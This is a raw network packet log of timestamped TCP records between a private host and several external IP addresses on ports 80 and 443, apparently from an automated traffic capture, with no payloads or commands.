Oct 30, 2024 11:45:39.085230112 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085241079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.085272074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085306883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085335016 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.085340977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085356951 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.085387945 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.085757017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085789919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085823059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.085841894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.085874081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.086004972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.086055994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.086092949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.086112976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.086126089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.086133003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.086163044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.086215019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.086551905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.086585999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.086611986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.086637020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.086641073 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.086724997 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.091334105 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.094329119 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.172811031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.172863960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.172899961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.172924995 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.172952890 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.172966003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.173078060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200434923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200488091 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200506926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200522900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200540066 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200557947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200592995 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200609922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200642109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200679064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200687885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200687885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200720072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200730085 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200782061 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200788975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200828075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200834036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200862885 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200895071 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200917959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200931072 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.200941086 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.200983047 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.201186895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201239109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201239109 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.201272964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201280117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.201343060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.201488972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201520920 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201556921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201576948 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.201591015 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201601028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.201642036 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.201874971 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201906919 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201942921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201960087 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.201977968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.201987028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.202195883 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.237344980 CET	49929	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.237375021 CET	443	49929	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.237436056 CET	49929	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.238022089 CET	49930	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.238034964 CET	443	49930	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.238111973 CET	49930	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.238213062 CET	49929	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.238225937 CET	443	49929	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.238430977 CET	49930	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.238440990 CET	443	49930	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.288378000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.288414955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.288449049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.288470984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.288470984 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.288539886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.295440912 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.295892954 CET	49917	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.295917034 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.296416998 CET	49917	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.296422958 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.315840006 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.315865993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.315884113 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.315901041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.315896988 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.315921068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.315928936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.315928936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.315960884 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.315970898 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.315970898 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.315978050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316023111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316060066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316128969 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316143990 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316145897 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316159964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316173077 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316207886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316207886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316577911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316629887 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316638947 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316653967 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316692114 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316728115 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316735029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316792965 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316808939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316819906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316827059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.316868067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316868067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.316868067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.317178011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.317194939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.317210913 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.317231894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.317245960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.317260981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.317261934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.317260981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.317280054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.317287922 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.317298889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.317332029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.317332029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.317332029 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.317713976 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.317852020 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.351710081 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.352309942 CET	49918	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.352320910 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.352644920 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.353761911 CET	49918	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.353825092 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.354023933 CET	49918	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.360577106 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.360994101 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.361005068 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.362068892 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.362144947 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.362660885 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.362724066 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.362899065 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.362906933 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.395226002 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.395373106 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.395452023 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.395467997 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.396478891 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.396543980 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.397125006 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.397183895 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.397372007 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.397378922 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.401632071 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.401863098 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.401881933 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.402947903 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.403001070 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.403470993 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.403541088 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.403595924 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.403655052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.403709888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.403711081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.403743982 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.403764009 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.403840065 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.408386946 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.431272984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431343079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431391001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431391001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431395054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431447029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431479931 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431499958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431514978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431549072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431550026 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431577921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431590080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431598902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431624889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431653023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431663036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431675911 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431715012 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431715965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431798935 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431816101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431869030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431901932 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.431917906 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431967020 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.431988955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432024002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432039976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.432070017 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.432394981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432430029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432461977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432483912 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.432497978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432502985 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.432576895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.432589054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432622910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432636976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.432660103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432674885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.432696104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.432704926 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.432748079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.433020115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.433072090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.433104038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.433136940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.433185101 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.439148903 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.440001965 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.440037966 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.440087080 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.440090895 CET	49917	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.440123081 CET	49917	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.440304995 CET	49917	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.440320969 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.440330029 CET	49917	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.440336943 CET	443	49917	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.442898035 CET	49931	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.442924976 CET	443	49931	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.443034887 CET	49931	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.443200111 CET	49931	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.443211079 CET	443	49931	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.447333097 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.454230070 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.454238892 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.477258921 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.478035927 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.478053093 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.479507923 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.479567051 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.480051994 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.480132103 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.480357885 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.480365992 CET	443	49920	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.481618881 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.481643915 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.481712103 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.481719017 CET	49918	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.481806040 CET	49918	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.483323097 CET	49918	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.483336926 CET	443	49918	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.483613968 CET	49932	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.483639002 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.483782053 CET	49932	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.485697031 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.485713959 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.485948086 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.485956907 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.486033916 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.486150026 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.486236095 CET	49932	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.486243963 CET	443	49932	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.488962889 CET	49916	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.488979101 CET	443	49916	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.489337921 CET	49933	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.489366055 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.489618063 CET	49933	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.490029097 CET	49933	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.490040064 CET	443	49933	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.492486000 CET	443	49923	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.493046045 CET	49923	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.493057966 CET	443	49923	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.493619919 CET	49923	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:39.493624926 CET	443	49923	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:39.500324965 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.503719091 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.503736019 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.503819942 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.503834963 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.504035950 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.504179955 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.505217075 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.505217075 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.505234003 CET	443	49919	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.505350113 CET	49919	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.519212961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.519229889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.519244909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:39.519340038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.519340038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:39.520380020 CET	49920	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.525193930 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.525219917 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.525263071 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.525269032 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.525404930 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.526034117 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.526048899 CET	443	49922	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.526071072 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.526098967 CET	49922	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.534833908 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.534851074 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.534889936 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.534900904 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.534919024 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.534955025 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.535763025 CET	49921	443	192.168.2.6	13.107.246.57
Oct 30, 2024 11:45:39.535773039 CET	443	49921	13.107.246.57	192.168.2.6
Oct 30, 2024 11:45:39.538439989 CET	49934	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.538526058 CET	443	49934	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.538589001 CET	49934	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.539391994 CET	49934	443	192.168.2.6	23.221.22.215
Oct 30, 2024 11:45:39.539431095 CET	443	49934	23.221.22.215	192.168.2.6
Oct 30, 2024 11:45:39.542433023 CET	443	49924	13.107.253.45	192.168.2.6
